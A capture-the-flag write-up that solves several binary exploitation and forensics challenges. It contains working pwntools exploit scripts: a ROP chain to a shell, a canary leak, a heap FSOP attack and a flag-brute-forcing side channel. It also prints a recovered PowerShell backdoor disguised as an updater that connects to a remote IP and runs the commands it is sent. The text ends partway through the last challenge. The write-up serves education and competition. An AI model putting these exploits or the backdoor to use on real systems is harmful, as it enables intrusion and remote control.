Cyber Breaker Development Quals
Starting Point
Binary Exploitation
820 pts
16
Teletype
Binary Exploitation
930 pts
5
Baby Heap
Binary Exploitation
950 pts
4
Baby Shellcode
Binary Exploitation
980 pts
2
Stolen Data
Digital Forensic
480 pts
45
Hidden Sight
Digital Forensic
490 pts
41
Starting Point
Description
Here's an easy challenge to kick off your Independence Day. Made for beginner.
Author:
Wzrd
ncat --ssl starting-point.serv1.cbd2025.cloud 443
Solution
given a binary, with little to no protection
$ file starting-point
starting-point: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6f92b3e8d366c02dbf86fd8a7b93690b812d079a, for GNU/Linux 3.2.0, with debug_info, not stripped
$ pwn checksec starting-point
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
running the binary will prompts us with a few options
$ ./starting-point
███╗ ██╗ ██████╗ ████████╗███████╗ ███╗ ███╗ █████╗ ███╗ ██╗ █████╗ ██████╗ ███████╗██████╗
████╗ ██║██╔═══██╗╚══██╔══╝██╔════╝ ████╗ ████║██╔══██╗████╗ ██║██╔══██╗██╔════╝ ██╔════╝██╔══██╗
██╔██╗ ██║██║ ██║ ██║ █████╗ ██╔████╔██║███████║██╔██╗ ██║███████║██║ ███╗█████╗ ██████╔╝
██║╚██╗██║██║ ██║ ██║ ██╔══╝ ██║╚██╔╝██║██╔══██║██║╚██╗██║██╔══██║██║ ██║██╔══╝ ██╔══██╗
██║ ╚████║╚██████╔╝ ██║ ███████╗ ██║ ╚═╝ ██║██║ ██║██║ ╚████║██║ ██║╚██████╔╝███████╗██║ ██║
╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
1. Create
2. View
3. List
4. Admin
5. Exit
>
however, none of them are really important. the only relevant path is option 4 Admin. decompiling the function handler we can see an obvious buffer overflow
void admin_edit_note(void)
{
int iVar1;
int local_1c;
char local_18 [16];
printf("Password: ");
read(0,local_18,0x100);
iVar1 = strcmp(local_18,password);
if (iVar1 == 0) {
printf("Index: ");
__isoc99_scanf("%d",&local_1c);
getchar();
if ((local_1c < 0) || (4 < local_1c)) {
puts("Invalid");
}
else {
printf("Content: ");
fgets(notes + (long)local_1c * 0xa4 + 0x20,0x80,stdin);
puts("Updated");
}
}
else {
puts("Invalid");
}
return;
}
the program reads up to 0x100 bytes of data to local_18
of size 0x10. since the binary has no PIE and canary, we can immediately overwrite the saved return address and perform ROP. luckily the binary also provided a ton of gadgets as seen below
*************************************************************
* FUNCTION
*************************************************************
undefined ggt ()
undefined AL:1 <RETURN>
ggt XREF[3]: Entry Point (*) , 00402744 ,
00402838 (*)
00401351 f3 0f 1e fa ENDBR64
00401355 55 PUSH RBP
00401356 48 89 e5 MOV RBP ,RSP
pop_rdi
00401359 5f POP RDI
0040135a c3 RET
pop_rsi
0040135b 5e POP RSI
0040135c c3 RET
pop_rdx
0040135d 5a POP RDX
0040135e c3 RET
pop_rax
0040135f 58 POP RAX
00401360 c3 RET
pop_rdx_rbx
00401361 5a POP RDX
00401362 5b POP RBX
00401363 c3 RET
syscall_gadget
00401364 0f 05 SYSCALL
00401366 c3 RET
leave_gadget
00401367 c9 LEAVE
00401368 c3 RET
ret_gadget
00401369 c3 RET
with this its really easy to perform a execve syscall to spawn a shell. the plan to successfully exploit the challenge are as follows:
we perform ROP to overwrite RBP and stack pivot to BSS and call back to
admin_edit_note
since our RBP is now at a predictable address (BSS), the subsequent read call will be stored there and we can write the string '/bin/sh' later used as argument to the execve call
finally, the final ROP to call execve syscall and spawn a shell
below are the exploit implementation
#!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './starting-point'
elf = context.binary = ELF(exe, checksec=True)
# libc = './libc.so.6'
# libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'starting-point.serv1.cbd2025.cloud', 443
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port, ssl=True)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
# break *0x401838
break *0x40190d
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
def exploit():
global io
io = initialize()
rop = ROP(elf)
pop_rdi = 0x0000000000401359
pop_rax = 0x000000000040135f
pop_rsi = 0x000000000040135b
pop_rdx = 0x000000000040135d
syscall = 0x0000000000401364
payload = flat({
16: [
elf.bss()+0x100,
0x4017fd
]
})
io.sendlineafter(b'>', b'4')
io.sendlineafter(b':', payload)
payload = flat({
16: [
u64(b'/bin/sh\x00'),
pop_rdi,
0x4041f0+16,
pop_rax,
0x3b,
pop_rdx,
0x0,
pop_rsi,
0x0,
syscall,
]
})
io.sendlineafter(b':', payload)
io.interactive()
if __name__ == '__main__':
exploit()
Flag: CBD{a63f9e6b24bc95f85722c287b91f8b6e37141afe65360294}
Teletype
Description
The bird sings, the loop brings
Author:
Ooflamp
ncat --ssl teletype.serv1.cbd2025.cloud 443
Solution
given a binary, below are the related information
$ file teletype
teletype: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=055263d1859a9b3d1b6661aa4713a4f03ce58add, for GNU/Linux 3.2.0, with debug_info, not stripped
$ pwn checksec teletype
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
running the binary will prompts us with a few options
$ ./teletype
*** BOOTING FIELD OPERATIONS TERMINAL ***
Unit ID: 7F — 5th Panzer Army
Network Status: Disconnected from HQ Relay Station
Date: 14/06/1943
--------------------------------------------------
Welcome, Operator. Maintain operational secrecy.
--------------------------------------------------
[1] Enter New Report
[2] Review Last Report
[3] Edit Last Report
[4] Authenticate Priority Access
[5] Exit Terminal
>
after decompiling program, here's are some interesting findings.
first, the third option (Edit) has a buffer overflow due to scanf call using the %s
format specifier which will read without bounds check.
void edit_last_report(long param_1,int param_2)
{
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
if (param_2 < 1) {
puts("There\'s no document on queue.");
}
else {
printf("\nEnter document number\n> ");
__isoc99_scanf("%d",param_1 + (long)(param_2 + -1) * 0x2c);
printf("Enter document content\n> ");
__isoc99_scanf("%s",param_1 + (long)(param_2 + -1) * 0x2c + 4);
printf("Document amended, waiting for online access.");
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
note that the overflow itself is in the main function since the handler takes a stack pointer a variable in main as shown below.
undefined8 main(EVP_PKEY_CTX *param_1)
{
long in_FS_OFFSET;
undefined local_1c8 [440];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
init(param_1);
teletype_print(boot_screen,7,0x14);
do {
choice = menu();
switch(choice) {
case 1:
write_report(local_1c8,&document_count);
break;
case 2:
retrieve_last_report(local_1c8,document_count);
break;
case 3:
edit_last_report(local_1c8,document_count);
break;
case 4:
authenticate_priority_access();
break;
case 5:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
} while( true );
}
the next step might seem obvious is to perform ROP, however there's a stack canary. so we need to a way to somehow bypass to leak the canary value.
to leak the canary, what we can do is allocate/write a report to consume all of the stack up until the the canary value. then we can overwrite the last byte of canary (which is always going to be null). this won't trigger the stack smashing panic as the overwritten canary belongs to the main stack frame and we never return from it yet.

next we chose the second option to print the last written report which conveniently located at the canary and thus we're able to leak it.
as we have leaked the canary, next we can overwrite the saved return address to our win function
void retrieve_priority_log(void)
{
long lVar1;
int __c;
FILE *__stream;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
fwrite("Cannot open flag.txt",1,0x14,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
while( true ) {
__c = fgetc(__stream);
if (__c == -1) break;
putchar(__c);
}
fclose(__stream);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
to recap:
fill up the reports up until the canary and overwrite the last byte of the canary
read the last report which leaks the canary
exploit the buffer overflow to ROP and profit
below are the exploit script
#!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './teletype'
elf = context.binary = ELF(exe, checksec=True)
# libc = './libc.so.6'
# libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'teletype.serv1.cbd2025.cloud', 443
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port, ssl=True)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
break *0x401b64
c
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
def exploit():
global io
canary = 0x0
io = initialize()
for i in range(20):
io.sendlineafter(b'>', b'1')
io.sendlineafter(b'>', b'26')
io.sendafter(b'>', b'A'*0x28+b'B')
io.sendline(b'')
io.sendlineafter(b'>', b'2')
io.recvuntil(b'AB')
leak = io.recvline()
print(leak)
canary = b'\x00'+leak[:7]
canary = u64(canary.ljust(8, b'\x00'))
payload = flat({
40: [
canary,
elf.bss()+0x100,
elf.sym['retrieve_priority_log']
]
})
io.sendlineafter(b'>', b'3')
io.sendlineafter(b'>', payload)
io.sendlineafter(b'>', b'5')
log.info("canary: %#x", canary)
io.interactive()
if __name__ == '__main__':
exploit()
Flag: CBD{teletype_ahh_scene_im_waitin_too_long_ab12df}
Baby Heap
Description
Rijal said, this supposed to be a speedrun chall.
Author:
Morre
ncat --ssl baby-heap.serv1.cbd2025.cloud 443
Solution
given a binary and a dockerfile, below are some information regarding the binary
$ file baby-heap
baby-heap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=be428b1469137441c854f168bff4007644a9f8e5, for GNU/Linux 3.2.0, not stripped
$ pwn checksec baby-heap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
as the name suggest, as we run the binary we can see the CRUD interface common in heap style pwn challenges
$ ./baby-heap
╔═══════════════════════════════════════╗
║ Baby Heap Challenge ║
╚═══════════════════════════════════════╝
[1] - Create note
[2] - Read note
[3] - Update note
[4] - Delete note
[5] - Exit
Choose an option:
after decompilation, notable things are as follows
in allocation, the size are controllable by the player with the maximum size of 0x100
void create_note(void)
{
int iVar1;
char *pcVar2;
long in_FS_OFFSET;
ulong local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = get_valid_index();
if (iVar1 != -1) {
if (notes[iVar1].used == 0) {
printf("Enter note size (max %d): ",0x100);
__isoc99_scanf("%zu",&local_18);
getchar();
if (local_18 < 0x101) {
pcVar2 = (char *)malloc(local_18);
notes[iVar1].ptr = pcVar2;
notes[iVar1].size = local_18;
notes[iVar1].used = 1;
if (notes[iVar1].ptr == (char *)0x0) {
puts("Failed to allocate memory!");
}
else {
printf("Enter note content: ");
read(0,notes[iVar1].ptr,local_18);
puts("Note created successfully!");
}
}
else {
puts("Size too large!");
}
}
else {
puts("Note already exists!");
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
in delete note, the chunk is freed however the pointer is not nullified, the program sets a flag to mark that the notes at that index is no longer used.
void delete_note(void)
{
int iVar1;
iVar1 = get_valid_index();
if (iVar1 != -1) {
if (notes[iVar1].ptr == (char *)0x0) {
puts("Note doesn\'t exist!");
}
else {
free(notes[iVar1].ptr);
notes[iVar1].used = 0;
puts("Note deleted successfully!");
}
}
return;
}
however, as can be seen below, in read and edit note, there's no check of said flag, making use of the dangling pointer resulting in an Use After Free.
void read_note(void)
{
uint uVar1;
uVar1 = get_valid_index();
if (uVar1 != 0xffffffff) {
if (notes[(int)uVar1].ptr == (char *)0x0) {
puts("Note doesn\'t exist!");
}
else {
printf("Note %d: %s\n",(ulong)uVar1,notes[(int)uVar1].ptr);
}
}
return;
}
void update_note(void)
{
int iVar1;
iVar1 = get_valid_index();
if (iVar1 != -1) {
if (notes[iVar1].ptr == (char *)0x0) {
puts("Note doesn\'t exist!");
}
else {
printf("Enter new content: ");
read(0,notes[iVar1].ptr,notes[iVar1].size);
puts("Note updated successfully!");
}
}
return;
}
the plan to exploit this challenge are as the following:
allocate 9 same-sized chunk with size larger than fastbin to be allocated
free 8 of those chunks, 7 to fill the tcache to its max capacity and 1 will be inserted into the unsorted bin, leaking libc address
perform a tcache poisoning to arbitrary allocate to _IO_2_1_stdin achieving arbitrary write
corrupt _IO_2_1_stdin to gain huge arbitrary write through stdin to corrupt _IO_2_1_stdout to gain RCE using FSOP
profit
More details can be inspected by analysing the exploit code below:
#!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './baby-heap'
elf = context.binary = ELF(exe, checksec=True)
libc = '/lib/x86_64-linux-gnu/libc.so.6'
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'baby-heap.serv1.cbd2025.cloud', 443
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port, ssl=True)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
c
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
def alloc(idx, size, data):
io.sendlineafter(b':', b'1')
io.sendlineafter(b':', str(idx).encode())
io.sendlineafter(b':', str(size).encode())
io.sendafter(b':', data)
def view(idx):
io.sendlineafter(b':', b'2')
io.sendlineafter(b':', str(idx).encode())
def edit(idx, data):
io.sendlineafter(b':', b'3')
io.sendlineafter(b':', str(idx).encode())
io.sendafter(b':', data)
def free(idx):
io.sendlineafter(b':', b'4')
io.sendlineafter(b':', str(idx).encode())
def demangle(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
def mangle(heap_addr, val):
return (heap_addr >> 12) ^ val
def exploit():
global io
heap = 0x0
io = initialize()
for i in range(8):
alloc(i, 0x100, b'A')
alloc(8, 0x10, b'guard')
for i in range(8):
free(i)
view(7)
io.recvuntil(b'Note')
io.recvuntil(b': ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x203b20
stdout = libc.sym['_IO_2_1_stdout_']
stdin = libc.sym['_IO_2_1_stdin_']
view(6)
io.recvuntil(b'Note')
io.recvuntil(b': ')
heap = demangle(u64(io.recv(6).ljust(8, b'\x00'))) - 0x7f0
for i in range(3):
alloc(i, 0x20, b'B')
alloc(3, 0x10, b'guard')
for i in range(3):
free(i)
edit(2, p64(mangle(heap, stdin+0x30)))
fp = stdout
# crafting overlapping IO_FILE, wide_data and wide_vtable
overlap = b' sh\x00\x00\x00\x00' # [FILE] _flags | [WIDE DATA] read_ptr
overlap += flat([
p64(0x0), # [WIDE DATA] read_end
p64(0x0), # [WIDE DATA] read_base
p64(0x0), # [WIDE DATA] write_base
p64(0x0), # [WIDE DATA] write_ptr
p64(0x0), # [WIDE DATA] write_end
p64(0x0), # [WIDE DATA] buf_base
p64(0x0), # [WIDE DATA] buf_end
p64(0x0), # [WIDE DATA] save_base
p64(0x0), # [WIDE DATA] backup_base
p64(0x0), # [WIDE DATA] save_end
])
overlap += b'\x00' * 8 # [WIDE DATA] state
overlap += b'\x00' * 8 # [WIDE DATA] last_state
codecvt = b''
codecvt += p64(libc.sym['system']) # [FILE] _chain | [WIDE DATA] codecvt | [VTABLE] __doallocate (at function authenticate, skips the puts because we overwrote stdout)
codecvt += b'\x00' * 0x18 # padding
codecvt += p64(fp - 0x10) # [FILE] _lock
codecvt += p64(0x0) * 2 # padding
codecvt += p64(fp+0x8) # [FILE] _wide_data
codecvt += b'\x00' * (0x18 + 4 + 20) # padding
codecvt += p64(libc.sym['_IO_wfile_jumps']) # [FILE] vtable
codecvt += b'\x00' * (0x70 - len(codecvt)) # padding
overlap += codecvt
overlap += p64(0x0) # [WIDE DATA] wchar_t shortbuf[1] (alligned to 8 bytes)
overlap += p64(fp) # [WIDE DATA] vtable
alloc(0, 0x20, b'C')
alloc(1, 0x20, flat([
stdout,
stdout,
stdout+0x300,
]))
io.sendline(overlap)
log.info("libc base; %#x", libc.address)
log.info("heap base: %#x", heap)
log.info("stdin: %#x", stdin)
io.interactive()
if __name__ == '__main__':
exploit()
Flag: CBD{rijal_exploit_was_exploiting_this_easily_fyi_7fac8a}
Baby Shellcode
Description
Time is money, isn't?
Author:
Morre
ncat --ssl baby-shellcode.serv1.cbd2025.cloud 443
baby-shellcode
Solution
given a binary, here's some information regarding it
$ file baby-shellcode
baby-shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f45a0aad7ad030301345876a1da46772047312a5, for GNU/Linux 3.2.0, not stripped
$ pwn checksec baby-shellcode
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
as the challenge name suggest, after running the binary, it prompts for an shellcode input
$ ./baby-shellcode
Enter code (max 1024 bytes):
next, decompile the binary to understand a bit more how the binary processes the shellcode. there's nothing interesting in main other than a call to emulate
at then of the function.
undefined8 main(void)
{
void *__buf;
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
__buf = malloc(0x400);
printf("Enter code (max %u bytes): ",0x400);
read(0,__buf,0x400);
emulate(__buf);
return 0;
}
in emulate, we can see that our shellcode is not executed as raw instructions. in this emulate function, the binary does the following
first it initializes the unicorn emulator object using
uc_open
then using
uc_mem_map
it creates a memory mapping of size at a fixed address with RWX permission.next it copies our shellcode to the emulated memory using
uc_mem_write
and here's the important part, the emulator register a hook using
uc_hook_add
, which will look at laterthen it starts the emulation
void emulate(undefined8 param_1)
{
int iVar1;
long in_FS_OFFSET;
undefined8 local_20;
undefined local_18 [8];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = uc_open(4,8,&local_20);
if (iVar1 == 0) {
uc_mem_map(local_20,0x13370000,0x200000,7);
iVar1 = uc_mem_write(local_20,0x13370000,param_1,0x400);
if (iVar1 == 0) {
uc_hook_add(local_20,local_18,2,hookers,0,1,0,699);
uc_emu_start(local_20,0x13370000,0x13370400,0,0);
uc_close(local_20);
}
}
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
the unicorn hook basically a handler function for any instruction calls for syscall, trap etc. and as can be seen below, the challenge only implemented two syscall of NR 0 and NR 1.
void hookers(undefined8 param_1)
{
long in_FS_OFFSET;
long local_20;
long local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
uc_reg_read(param_1,0x23,&local_20);
uc_reg_read(param_1,0x27,&local_18);
if (local_20 == 0) {
uc_reg_write(param_1,2,"FLAG_12_CHAR" + local_18);
}
else if (local_20 == 1) {
puts("not implemented yet :(");
}
else {
uc_emu_stop(param_1);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
first, it reads the register RAX (0x23) and RDI (0x23), RAX as we all know will dictate which syscall it calls. in this case RAX of 0x0 will write the flag character at an offset to the register AL (2).
RAX of 0x1 will displays the string "not implemented yet :(" and any other RAX will simply terminate the emulation.
with this in mind, we know we can somehow read the character of the flag bit by bit into memory but have no ways to print it into stdout. to solve this, we will perform side channel attack.
basically, we will try and guess the character at a certain offset. take a look at the following shellcode
BITS 64
DEFAULT REL
section .text
global _start
_start:
mov rdi, {idx}
xor rax, rax
syscall
cmp al, byte {chr}
jne .wrong
.correct:
mov rax, 1
syscall
.wrong:
mov rax, 2
syscall
in our python script, we will initiate a connection to the binary and replace the idx
and chr
to the character we wanted to guess at the index of the flag. if the comparison (i.e. the byte matches) it will call correct which will prints a string else it will terminate.
with that we can observe the different behaviour from the binary and determine whether the character guessed at a certain index was correct or not.
this will be looped for first index until the last 12th index.
below are the implementation for said solution
#!/usr/bin/env python3
from pwn import *
from subprocess import run
import string
# =========================================================
# SETUP
# =========================================================
exe = './baby-shellcode'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'warning'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'baby-shellcode.serv1.cbd2025.cloud', 443
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
break *hookers
# breakrva 0x14be
breakrva 0x13ee
c
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
CANDS = [ord(c) for c in (string.ascii_letters + string.digits + "_")]
N = 12
CONNECT_TIMEOUT = 4
RECV_TIMEOUT = 2
def make_asm(idx:int, guess:int, fname='probe.s'):
asm = f"""BITS 64
DEFAULT REL
section .text
global _start
_start:
mov rdi, {idx}
xor rax, rax
syscall
cmp al, byte {guess}
jne .wrong
.correct:
mov rax, 1
syscall
.wrong:
mov rax, 2
syscall
"""
with open(fname, 'wb') as f:
f.write(asm.encode())
return fname
def assemble(asmfile, outbin):
try:
run(['nasm', '-f', 'bin', asmfile, '-o', outbin], check=True)
except ChildProcessError as e:
log.error(f"nasm failed: {e}")
raise
def test_probe(shellcode_bytes):
io = None
try:
io = initialize()
io.sendlineafter(b':', shellcode_bytes, timeout=CONNECT_TIMEOUT)
try:
data = io.recvall(timeout=RECV_TIMEOUT)
if b'not implemented' in data:
return True
return False
except EOFError:
return False
except TimeoutError:
return True
except Exception as e:
log.warning(f"recv exception: {e!r}")
return False
except Exception as e:
log.warning(f"connection failed: {e!r}")
return False
finally:
if io:
try:
# pause()
io.close()
except Exception:
pass
def exploit():
flag = bytearray(b'?' * N)
tmp_asm = 'probe.s'
tmp_bin = 'probe.bin'
for idx in range(N):
log.warning(f"Bruteforcing idx {idx}...")
found = False
for ch in CANDS:
log.warning(f'Trying {chr(ch)}')
# build asm & assemble
make_asm(idx, ch, fname=tmp_asm)
assemble(tmp_asm, tmp_bin)
shellcode = open(tmp_bin, 'rb').read()
ok = test_probe(shellcode)
if ok:
log.warning(f"Found idx {idx}: 0x{ch:02x} ('{chr(ch)}')")
flag[idx] = ch
found = True
try:
os.remove(tmp_asm)
os.remove(tmp_bin)
except Exception:
pass
break
else:
pass
if not found:
log.warning(f"No printable candidate found for index {idx}. You may need to expand CANDS.")
else:
time.sleep(0.2)
try:
printable = ''.join(chr(b) if 0x20 <= b <= 0x7e else '?' for b in flag)
log.warning(f"Partial: {printable}")
except Exception:
pass
log.success("Done. Final flag guess: " + ''.join(chr(b) if b != 63 else '?' for b in flag))
if __name__ == '__main__':
exploit()
Flag: CBD{???}
Stolen Data
Description
During routine monitoring, unusual network activity was observed. A capture of the traffic was saved for analysis to determine what data may have been exfiltrated.
Author:
bl33dz
Solution
given a network-log.pcapng
, we start by loading it to wireshark
in one of the captured request, there's one request that stands our as different, that is a call to download updater.exe

in the response we can see PE header of the downloaded binary

scrolling a bit further below, there's seems to be seemingly a php script within updater.exe

$server = "117.53.47.247"
$port = 4444
$sharedHex = "9f4c8b2e6a7f1d3b9ab2c4d5e6f70812a1b2c3d4e5f60718293a4b5c6d7e8f90"
function HexToBytes {
param([string]$hex)
if ($hex.Length % 2 -ne 0) { throw "Hex string length must be even" }
$count = $hex.Length / 2
$bytes = New-Object byte[] $count
for ($i = 0; $i -lt $count; $i++) {
$bytes[$i] = [Convert]::ToByte($hex.Substring($i*2,2), 16)
}
return $bytes
}
$secret = HexToBytes $sharedHex
$aesKey = $secret[0..15]
$hmacKey = $secret[16..($secret.Length - 1)]
function Encrypt-Message {
param([string]$plaintext)
$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
$block = 16
$pad = $block - ($plainBytes.Length % $block)
if ($pad -eq 0) { $pad = $block }
$padded = New-Object byte[] ($plainBytes.Length + $pad)
[Array]::Copy($plainBytes, 0, $padded, 0, $plainBytes.Length)
for ($i = $plainBytes.Length; $i -lt $padded.Length; $i++) { $padded[$i] = [byte]$pad }
$iv = New-Object byte[] 16
$rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
$rng.GetBytes($iv)
$rng.Dispose()
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::None
$aes.Key = [byte[]]$aesKey
$aes.IV = [byte[]]$iv
$encryptor = $aes.CreateEncryptor()
$ct = $encryptor.TransformFinalBlock($padded, 0, $padded.Length)
$encryptor.Dispose()
$aes.Dispose()
$hmac = [System.Security.Cryptography.HMACSHA256]::new([byte[]]$hmacKey)
$mac = $hmac.ComputeHash( ($iv + $ct) )
$hmac.Dispose()
$blob = ($iv + $ct + $mac)
return [System.Convert]::ToBase64String($blob)
}
function Decrypt-Message {
param([string]$b64)
$blob = [System.Convert]::FromBase64String($b64)
$iv = $blob[0..15]
$tag = $blob[($blob.Length - 32)..($blob.Length - 1)]
$ct = $blob[16..($blob.Length - 33)]
$hmac = [System.Security.Cryptography.HMACSHA256]::new([byte[]]$hmacKey)
$calc = $hmac.ComputeHash( ($iv + $ct) )
$hmac.Dispose()
if ([System.Convert]::ToBase64String($calc) -ne [System.Convert]::ToBase64String($tag)) { throw "HMAC failed" }
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::None
$aes.Key = [byte[]]$aesKey
$aes.IV = [byte[]]$iv
$decryptor = $aes.CreateDecryptor()
$padded = $decryptor.TransformFinalBlock($ct, 0, $ct.Length)
$decryptor.Dispose()
$aes.Dispose()
$padLen = $padded[$padded.Length - 1]
$plainLen = $padded.Length - $padLen
if ($plainLen -le 0) { return "" }
$plain = New-Object byte[] $plainLen
[Array]::Copy($padded, 0, $plain, 0, $plainLen)
return [System.Text.Encoding]::UTF8.GetString($plain)
}
Write-Host "Checking for updates..." -ForegroundColor Yellow
Start-Sleep -Seconds 2
Write-Host "Downloading update definitions..." -ForegroundColor Yellow
Start-Sleep -Seconds 2
Write-Host "Installing updates..." -ForegroundColor Yellow
Start-Sleep -Seconds 2
try {
$client = New-Object System.Net.Sockets.TcpClient($server, $port)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$reader = New-Object System.IO.StreamReader($stream)
$writer.AutoFlush = $true
while ($true) {
$line = $reader.ReadLine()
if ([string]::IsNullOrEmpty($line)) {
break
}
try { $cmd = Decrypt-Message $line } catch { continue }
if ($cmd -eq "exit" -or $cmd -eq "quit") { break }
try { $out = Invoke-Expression $cmd | Out-String } catch { $out = "Error: $($_.Exception.Message)" }
if ($out -eq "") { $out = "<no output>" }
$enc = Encrypt-Message $out
$writer.WriteLine($enc)
}
$writer.Close()
$reader.Close()
$client.Close()
} catch {}
the code suggest it made a connection to 117.53.47.247 port 4444, the communication between them is encrypted but since everything is also there, we can easily decrypt the messages. using the following script
import base64, hmac, hashlib
from Crypto.Cipher import AES
shared_hex = "9f4c8b2e6a7f1d3b9ab2c4d5e6f70812a1b2c3d4e5f60718293a4b5c6d7e8f90"
secret = bytes.fromhex(shared_hex)
aes_key = secret[:16]
hmac_key = secret[16:]
def decrypt_message(b64msg):
blob = base64.b64decode(b64msg)
iv = blob[:16]
ct = blob[16:-32]
tag = blob[-32:]
calc = hmac.new(hmac_key, iv + ct, hashlib.sha256).digest()
if calc != tag:
raise ValueError("HMAC failed")
aes = AES.new(aes_key, AES.MODE_CBC, iv)
padded = aes.decrypt(ct)
padlen = padded[-1]
return padded[:-padlen].decode("utf-8", errors="ignore")
with open("extracted_b64.txt") as f:
for line in f:
line = line.strip()
if not line:
continue
try:
print("Decrypted:", decrypt_message(line))
except Exception as e:
print("Failed:", e)
so next is step to capture what are they sending to each other, by filtering port 4444 in wireshark and follow the tcp stream. their communication in encrypted form can be seen below

the whole thing can be decrypted however the flag is in the last message.
> python .\solve.py
Decrypted: CBD{bz_c2_with_encrypted_traffic_d34da5}
Flag: CBD{bz_c2_with_encrypted_traffic_d34da5}
Hidden Sight
Description
Blue Team caught two suspicious files. Help blue team to find out what's actually in that file. The team said that the file related with cache
Password:
fd9fbac804de39ba121c41173923a86f1702f1c290294f3abc2d2544bc9d93ef
Author:
Rin4th
Solution
given a hidden.zip
, first thing to do is to unzip it
$ 7z x hidden.zip
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 2898690 bytes (2831 KiB)
Extracting archive: hidden.zip
--
Path = hidden.zip
Type = zip
Physical Size = 2898690
Enter password (will not be echoed):
